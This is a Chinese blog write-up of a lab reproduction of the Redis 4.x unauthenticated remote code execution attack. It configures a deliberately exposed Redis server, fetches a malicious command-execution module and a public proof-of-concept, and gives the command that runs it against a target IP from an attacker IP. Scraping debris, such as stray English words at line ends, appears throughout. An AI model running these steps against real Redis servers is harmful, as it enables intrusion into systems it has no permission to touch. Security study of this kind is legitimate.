本文首发于个人我的博客,记录了我在实验室学习渗透测试所作的第二个漏洞复现,所有过程记录在此,以便后续查看,同时也但愿本文能对您有所帮助。python
同时,若文章有什么错误,请到个人我的博客进行核对,或者请在评论区告知,谢谢!git
Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。github
下载Redis包:redis
wget download.redis.io/releases/redis-4.0.11.tar.gz
解压安装包shell
tar xzvf redis-4.0.11.tar.gz
当前目录下会出现一个名为``redis-4.0.11`的文件夹。bootstrap
make安装curl
进入文件夹,在usr/local/redis目录下安装redis:性能
make PREFIX=/usr/local/redis install
以后命令行刷屏,等待一会后,出现以下提示,安装结束:
学习
检查安装是否有问题测试
安装命令行提示,输入:
make test
等待一下子,若出现如下提示,说明测试经过,安装已完成:
拷贝源码中的redis.conf到/usr/local/redis中
cp /redis-4.0.11/redis.conf /usr/local/redis
修改redis.conf
进入/usr/local/redis目录,打开redis.conf,作出如下修改:
bind 127.0.0.1
,并注释掉protected-mode
属性为no
(可经过IP访问)daemonize
属性为yes
(标识redis之后台方式启动)服务端启动服务
进入/usr/local/redis/bin目录下,执行以下命令:
./redis-server /usr/local/redis/redis.conf
结果以下:
启动客户端链接并测试
一样在bin目录下,执行以下命令:
./redis-cli
结果以下:
攻击机中须要下载RedisModules-ExecuteCommand和poc。
下载RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
而后进入RedisModules-ExcuteCommand目录,直接make编译:
make
下载poc
git clone https://github.com/Ridter/redis-rce.git
复制
将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。
安装须要的库
我在运行redis.rce.py时,提示我缺乏six
这个库,须要pip安装。首先安装pip:
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可使用pip了:
python get-pip.py
而后就能够安装须要的库:
pip install six
运行poc
在redis-rce目录下,命令行键入:
Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so
结果以下: